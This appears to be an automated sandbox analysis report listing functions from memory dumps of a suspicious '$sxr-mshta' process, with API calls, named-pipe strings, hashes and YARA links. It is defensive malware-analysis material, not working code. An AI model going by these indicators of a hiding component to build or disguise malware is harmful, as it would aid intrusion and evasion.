Instruction Fuzzy Hash: 2E419A74313A4AA8FA06DB6CE9516D42B34A746347F82D413D40D32177DE78C6C9D3E2

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2D12C8 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001ACEA2D1326
GetProcessHeap.KERNEL32 ref: 000001ACEA2D1334
HeapAlloc.KERNEL32 ref: 000001ACEA2D1345
RegEnumValueW.ADVAPI32 ref: 000001ACEA2D13A1

Part of subcall function 000001ACEA2D1554: StrCmpIW.SHLWAPI ref: 000001ACEA2D1585

GetProcessHeap.KERNEL32 ref: 000001ACEA2D13E9
HeapAlloc.KERNEL32 ref: 000001ACEA2D13F7
GetProcessHeap.KERNEL32 ref: 000001ACEA2D141B
HeapFree.KERNEL32 ref: 000001ACEA2D1429
lstrlenW.KERNEL32 ref: 000001ACEA2D1432
GetProcessHeap.KERNEL32 ref: 000001ACEA2D1440
HeapAlloc.KERNEL32 ref: 000001ACEA2D144E
StrCpyW.SHLWAPI ref: 000001ACEA2D1470
GetProcessHeap.KERNEL32 ref: 000001ACEA2D1485
HeapFree.KERNEL32 ref: 000001ACEA2D1493

Strings

d, xrefs: 000001ACEA2D1365

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 6bcc7a94b8732a062315a7af28d29bd62de89db6d10a7923a3b74cbbd2f289e1
Instruction ID: 6a151138ffa7dbc73349005a95e2520a116a532a86707507cf6ee88cab1e77ca
Opcode Fuzzy Hash: 6bcc7a94b8732a062315a7af28d29bd62de89db6d10a7923a3b74cbbd2f289e1
Instruction Fuzzy Hash: 1F516C72305B849BE715CF66E5483AABBA1F78AB82F44C128DB4D17B14DF38C195C781

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2D2444 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001ACEA2D2459
GetCurrentProcessId.KERNEL32 ref: 000001ACEA2D2463

Part of subcall function 000001ACEA2D19AC: OpenProcess.KERNEL32 ref: 000001ACEA2D19CA
Part of subcall function 000001ACEA2D19AC: IsWow64Process.KERNEL32 ref: 000001ACEA2D19E0
Part of subcall function 000001ACEA2D19AC: CloseHandle.KERNEL32 ref: 000001ACEA2D19FB

CreateFileW.KERNEL32 ref: 000001ACEA2D24BC
WriteFile.KERNEL32 ref: 000001ACEA2D24E4
ReadFile.KERNEL32 ref: 000001ACEA2D2503
CloseHandle.KERNEL32 ref: 000001ACEA2D250C

Strings

\\.\pipe\$sxrchildproc34226543a32, xrefs: 000001ACEA2D2493
\\.\pipe\$sxrchildproc38764243a64, xrefs: 000001ACEA2D248C

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\$sxrchildproc34226543a32$\\.\pipe\$sxrchildproc38764243a64
API String ID: 2171963597-1213686612
Opcode ID: 222afe9738357af78c0991e138f7f32301e44ba52e3deabe560e99e21132f038
Instruction ID: 40936ec3964d45e28d32eaa577eb0f4003091f120f49a7850a50184811bc72c8
Opcode Fuzzy Hash: 222afe9738357af78c0991e138f7f32301e44ba52e3deabe560e99e21132f038
Instruction Fuzzy Hash: 6321713671575097FB14CB29F4043A97BA0F386BA6F508215DA5E12FA8CF3CC189CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2D104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 97
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001ACEA2D10AB
RegEnumValueW.ADVAPI32 ref: 000001ACEA2D110E
GetProcessHeap.KERNEL32 ref: 000001ACEA2D1155
HeapAlloc.KERNEL32 ref: 000001ACEA2D1163
GetProcessHeap.KERNEL32 ref: 000001ACEA2D1187
HeapFree.KERNEL32 ref: 000001ACEA2D1195

Strings

d, xrefs: 000001ACEA2D10CE

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 3405b6d6aca030105382ba4e18177f2fb021de4e8f3198299b80cfe6290b74ba
Instruction ID: 778158212f534029580ab6218e0794010b35d079fe21a56bb590d838d6aa9a83
Opcode Fuzzy Hash: 3405b6d6aca030105382ba4e18177f2fb021de4e8f3198299b80cfe6290b74ba
Instruction Fuzzy Hash: 52417133215B809BE7608F65E5447DABBA1F38AB86F008129DB8D17B54DF38D1A5CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2D7690 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001ACEA2D76B8
__scrt_acquire_startup_lock.LIBCMT ref: 000001ACEA2D770A
_RTC_Initialize.LIBCMT ref: 000001ACEA2D7738
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001ACEA2D775E
__scrt_release_startup_lock.LIBCMT ref: 000001ACEA2D7789

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: b902a8228d0a566df5327651209e30a0b1120f59ef4b7f207320f33e0dc57618
Instruction ID: 5647a49a26bf4c4f51703fa53c1e03839352a16dd976af18536983204f530c3e
Opcode Fuzzy Hash: b902a8228d0a566df5327651209e30a0b1120f59ef4b7f207320f33e0dc57618
Instruction Fuzzy Hash: D181CF317022418EFF55AB6E98413E92E91AB87783F149425DA0DB7797EB3CC98187C2

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACE9006A90 Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001ACE9006AB8
__scrt_acquire_startup_lock.LIBCMT ref: 000001ACE9006B0A
_RTC_Initialize.LIBCMT ref: 000001ACE9006B38
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001ACE9006B5E
__scrt_release_startup_lock.LIBCMT ref: 000001ACE9006B89

Memory Dump Source

Source File: 0000000A.00000002.3380536847.000001ACE9000000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001ACE9000000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1ace9000000_$sxr-mshta.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: b902a8228d0a566df5327651209e30a0b1120f59ef4b7f207320f33e0dc57618
Instruction ID: 6117682b80ba718a5a92e8ab5a7f09ef1c50c304bd28b51c3ba6235488525097
Opcode Fuzzy Hash: b902a8228d0a566df5327651209e30a0b1120f59ef4b7f207320f33e0dc57618
Instruction Fuzzy Hash: 9481057270364186FA51ABE698413D9EEE2B74F780FC44E259A05C7796DF38C881A7C3

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2D98A4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000001ACEA2D9929
GetLastError.KERNEL32 ref: 000001ACEA2D9937
LoadLibraryExW.KERNEL32 ref: 000001ACEA2D9961
FreeLibrary.KERNEL32 ref: 000001ACEA2D99A7
GetProcAddress.KERNEL32 ref: 000001ACEA2D99B3

Strings

api-ms-, xrefs: 000001ACEA2D9949

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: b9fc0f4bc552b3b3a9613ae8c221c9ea50584cfdf87ea6a2e8fae9693c69d0a1
Instruction ID: 5f3f069d4a4415dbc069c0bfeb4c18b31f89ab0407aaf717dcd4bdf8aa866b38
Opcode Fuzzy Hash: b9fc0f4bc552b3b3a9613ae8c221c9ea50584cfdf87ea6a2e8fae9693c69d0a1
Instruction Fuzzy Hash: A3310B31313780A9EE12DB0EE9007D96B94F746BA6F194525FD2D6BB95DF38C144C382

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2E1C3C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001ACEA2E1C6D
GetLastError.KERNEL32 ref: 000001ACEA2E1C79
CloseHandle.KERNEL32 ref: 000001ACEA2E1C91
CreateFileW.KERNEL32 ref: 000001ACEA2E1CBC
WriteConsoleW.KERNEL32 ref: 000001ACEA2E1CDB

Strings

CONOUT$, xrefs: 000001ACEA2E1C9D

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: f8e4fb7eb8850db5dfc64f60f3363a5c279c997be71987712cd29a709cc65782
Instruction ID: c0662b82667819f83d8a447fa925f11b530f544bf5b73c1cc39cc5b34c84c6c7
Opcode Fuzzy Hash: f8e4fb7eb8850db5dfc64f60f3363a5c279c997be71987712cd29a709cc65782
Instruction Fuzzy Hash: 8011EB31311B408BE3518B4AF8443997BA0F79AFE6F00C224EE1D97794DF38C9848782

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2D5CB0 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001ACEA2D5CEB
GetThreadContext.KERNEL32 ref: 000001ACEA2D5E55

Part of subcall function 000001ACEA2D5AE0: GetCurrentThreadId.KERNEL32 ref: 000001ACEA2D5AE4

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: a98e7eacdc5a578abce32cb4d6227d29aaf631d1a1811a31ba6b33f7cbd6c913
Instruction ID: cda0b591bae2059604ab7f700e02ec0491f1ed4cec0426b5c0b3d43ffae0e199
Opcode Fuzzy Hash: a98e7eacdc5a578abce32cb4d6227d29aaf631d1a1811a31ba6b33f7cbd6c913
Instruction Fuzzy Hash: 60D1EB36309B888ADA30DB1AE49039A7BA0F789B85F104216EACD57BA5DF7CC551CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2D3150 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001ACEA2D3173
HeapAlloc.KERNEL32 ref: 000001ACEA2D3186
StrCmpNIW.SHLWAPI ref: 000001ACEA2D3201
GetProcessHeap.KERNEL32 ref: 000001ACEA2D3267
HeapFree.KERNEL32 ref: 000001ACEA2D3275

Strings

$sxr, xrefs: 000001ACEA2D31FA

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: $sxr
API String ID: 756756679-21942930
Opcode ID: a56984c12cd63be28461b1521c27a5cf1022700db7ead991f356a21bfefe692f
Instruction ID: 35d7d65ea24e8c9606904751b73a09850b7c3e5515182974f7649a518509ab7e
Opcode Fuzzy Hash: a56984c12cd63be28461b1521c27a5cf1022700db7ead991f356a21bfefe692f
Instruction Fuzzy Hash: 4D310932B03B518AE711DF5EE8443A96BA0FB46B82F08C024DF5C17B55EF38C8A18781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF64E1D19D4 Relevance: 9.0, APIs: 6, Instructions: 49timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF64E1D1A04
GetCurrentProcessId.KERNEL32 ref: 00007FF64E1D1A12
GetCurrentThreadId.KERNEL32 ref: 00007FF64E1D1A1E
GetTickCount.KERNEL32 ref: 00007FF64E1D1A2A
GetTickCount.KERNEL32 ref: 00007FF64E1D1A3A
QueryPerformanceCounter.KERNEL32 ref: 00007FF64E1D1A55

Memory Dump Source

Source File: 0000000A.00000002.3381060443.00007FF64E1D1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64E1D0000, based on PE: true

Associated: 0000000A.00000002.3380937686.00007FF64E1D0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.3381136829.00007FF64E1D2000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.3381242607.00007FF64E1D4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff64e1d0000_$sxr-mshta.jbxd

Similarity

API ID: CountCurrentTickTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 4104442557-0
Opcode ID: 3aee56793f856ebc4bf5ed15d236b07679841bd6bfcb628e62788a85eda43e84
Instruction ID: 7ae107239ebcff26f3243485f8746d55a8349dc3964719a9bf1083d2d7c18fbd
Opcode Fuzzy Hash: 3aee56793f856ebc4bf5ed15d236b07679841bd6bfcb628e62788a85eda43e84
Instruction Fuzzy Hash: 3E114D2AA48B468AEB10EF70E8446A933A4FB19758F400A30FA6D87754DF7CE5A4C740

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2D1A14 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001ACEA2D1A3A
K32GetModuleFileNameExW.KERNEL32 ref: 000001ACEA2D1A58
PathFindFileNameW.SHLWAPI ref: 000001ACEA2D1A67
lstrlenW.KERNEL32 ref: 000001ACEA2D1A73
StrCpyW.SHLWAPI ref: 000001ACEA2D1A86
CloseHandle.KERNEL32 ref: 000001ACEA2D1A94

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: dd2bb52e115c473e0f8e08ec62385b9b1bc9a7885310831d85afcbe291b8297d
Instruction ID: 6afdd469103f379db64996c8cfa30bc1b7527edcdf553316564fa564b1c4c2a3
Opcode Fuzzy Hash: dd2bb52e115c473e0f8e08ec62385b9b1bc9a7885310831d85afcbe291b8297d
Instruction Fuzzy Hash: D4016D31701B419AEB14DB1AA4587A967A1F789FC2F88C038CE8D57B54DE3CC9C5C781

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2D3844 Relevance: 9.0, APIs: 6, Instructions: 39threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001ACEA2D3860
GetCurrentProcess.KERNEL32 ref: 000001ACEA2D386E
VirtualProtectEx.KERNEL32 ref: 000001ACEA2D3890
GetCurrentProcess.KERNEL32 ref: 000001ACEA2D38B1
VirtualProtectEx.KERNEL32 ref: 000001ACEA2D38D2
TerminateThread.KERNEL32 ref: 000001ACEA2D38E1

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4f9aa0d141a117e5b28f836a31fda0da5fbbd9299a6c1a47c4e907238d40991d
Instruction ID: f8210f893dce83ceccaab412ba2a7218df0b250a25964d8c8b8a362a6cf4987f
Opcode Fuzzy Hash: 4f9aa0d141a117e5b28f836a31fda0da5fbbd9299a6c1a47c4e907238d40991d
Instruction Fuzzy Hash: 0F1180757037409AFB219B29F4083A92BA0FB4AB83F048428CD4D67755EF3DC088C742

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2D9178 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001ACEA2D91A3
_IsNonwritableInCurrentImage.LIBCMT ref: 000001ACEA2D9238
RtlUnwindEx.NTDLL ref: 000001ACEA2D9287

Strings

csm, xrefs: 000001ACEA2D921E
f, xrefs: 000001ACEA2D91B6

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: e553a6fcd8766cf47cad89aa0da34990ab2b17b041ac015739fdea2a23d0852d
Instruction ID: e02e388889a0293784d9547e932927c8d51fedf1367219bd997b7ba9774167db
Opcode Fuzzy Hash: e553a6fcd8766cf47cad89aa0da34990ab2b17b041ac015739fdea2a23d0852d
Instruction Fuzzy Hash: E351D1327126008EEB54CF19E448B9D3BA5F356B8AF518124FE1E67B8ADB34C841C781

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2D1AB8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000001ACEA2D1AD8
StrCmpNIW.SHLWAPI ref: 000001ACEA2D1AF2
lstrlenW.KERNEL32 ref: 000001ACEA2D1B01
StrCpyW.SHLWAPI ref: 000001ACEA2D1B16

Strings

\\?\, xrefs: 000001ACEA2D1AE6

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: b063e99747d40705daecabcc818f010f8e057a4149015bdb718489c079619189
Instruction ID: 54d4dfca6376f8c51e40232c4094d319cb2549e6940bd67141a105f8b552e8f3
Opcode Fuzzy Hash: b063e99747d40705daecabcc818f010f8e057a4149015bdb718489c079619189
Instruction Fuzzy Hash: FDF0C2723016409AEB308B28F4947D96B61F745B8AF84D034CA4C5A955DF3CC6CCCB41

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2D3298 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000001ACEA2D32BA
StrCpyW.SHLWAPI ref: 000001ACEA2D32CA
StrCatW.SHLWAPI ref: 000001ACEA2D32D6
PathCombineW.SHLWAPI ref: 000001ACEA2D32E4

Strings

\\.\pipe\, xrefs: 000001ACEA2D32B0

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 275731b5076b0e6dc254ebb2ecc66cd3e96493bb62629767b69f00e53740df4b
Instruction ID: 5b560047f8afd5aafab56e7499eb06e30cfde2d68a3c9ce1416091437136b670
Opcode Fuzzy Hash: 275731b5076b0e6dc254ebb2ecc66cd3e96493bb62629767b69f00e53740df4b
Instruction Fuzzy Hash: ABF08270705B8095EA018B5BF9151A96A61AB4AFD3F04D130DE6E77B29CF3CC8C58385

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2DA1D8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000001ACEA2DA1F4
GetProcAddress.KERNEL32 ref: 000001ACEA2DA20A
FreeLibrary.KERNEL32 ref: 000001ACEA2DA227

Strings

mscoree.dll, xrefs: 000001ACEA2DA1EB
CorExitProcess, xrefs: 000001ACEA2DA203

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 998d7d4103a02a9e6d60ca2871a9eec56d3e9844af320b42809f87498ae3ac58
Instruction ID: 4667da9ab5f4ad758b3fce486beb0eda209f9700ed7b5af4586aa60f9eedb487
Opcode Fuzzy Hash: 998d7d4103a02a9e6d60ca2871a9eec56d3e9844af320b42809f87498ae3ac58
Instruction Fuzzy Hash: 05F0A771B1370099FF458B69E4887E42B60EB8AB43F049019D51F56961CF3CC5C8C782

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2D5250 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001ACEA2D52D6

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 09a1da4ea647e200bc3592a5ab7a7466c61b6a393229a681a1c2ded621564b7f
Instruction ID: 251089c3425067a83f03d0e059806dcf44cfdc876c4d586d8a52af57f1c8afba
Opcode Fuzzy Hash: 09a1da4ea647e200bc3592a5ab7a7466c61b6a393229a681a1c2ded621564b7f
Instruction Fuzzy Hash: 5402E032219B808AE760CF59F45439ABBA0F3C5795F104115EB8E97BA9DF7CC494CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2E0900 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001ACEA2E0942
GetConsoleMode.KERNEL32 ref: 000001ACEA2E0A00
GetLastError.KERNEL32 ref: 000001ACEA2E0A8A

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 805c3f4572016d1162eba903c1866f821554d6bcbc59870d2561a84f84d0e957
Instruction ID: f86b0c21a1988d1b447e3df4ea652d7f1e7401274a066c733c608cff726f6858
Opcode Fuzzy Hash: 805c3f4572016d1162eba903c1866f821554d6bcbc59870d2561a84f84d0e957
Instruction Fuzzy Hash: A88104327166448CFB129F6CC8503ED2FA1F756B8AF458119DE0E7B796DB348882C392

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2D5890 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000001ACEA2D58A6

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 98b2d38467aad0f12371f4981a99e71c5d2d9a384676790713b3d681f93ff9b7
Instruction ID: 3881b159e52fa2847ddae10ec326ef446fa70dd60557a96e19fd9e5b3467f696
Opcode Fuzzy Hash: 98b2d38467aad0f12371f4981a99e71c5d2d9a384676790713b3d681f93ff9b7
Instruction Fuzzy Hash: 4F61303261AB80CBEB64CB19E44039A7BE0F389746F105116EA8D57BA9DB7CC550CF81

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACEA2E1F58 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000001ACEA2E1F80
_set_statfp.LIBCMT ref: 000001ACEA2E1F9B
_set_statfp.LIBCMT ref: 000001ACEA2E1FB7
_set_statfp.LIBCMT ref: 000001ACEA2E1FF3

Memory Dump Source

Source File: 0000000A.00000002.3380656161.000001ACEA2D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001ACEA2D0000, based on PE: true

Associated: 0000000A.00000002.3380656161.000001ACEA2F5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1acea2d0000_$sxr-mshta.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: a9d352d0960d56c33294a89242783f0a41a3526790df0315ca3bd5c72a0722b4
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 3B11A732B55B0509FA5A136ED4553E51940BB77372F14C634BA6F363D6CB2848C163C3

Uniqueness

Uniqueness Score: -1.00%

Function 000001ACE9011358 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

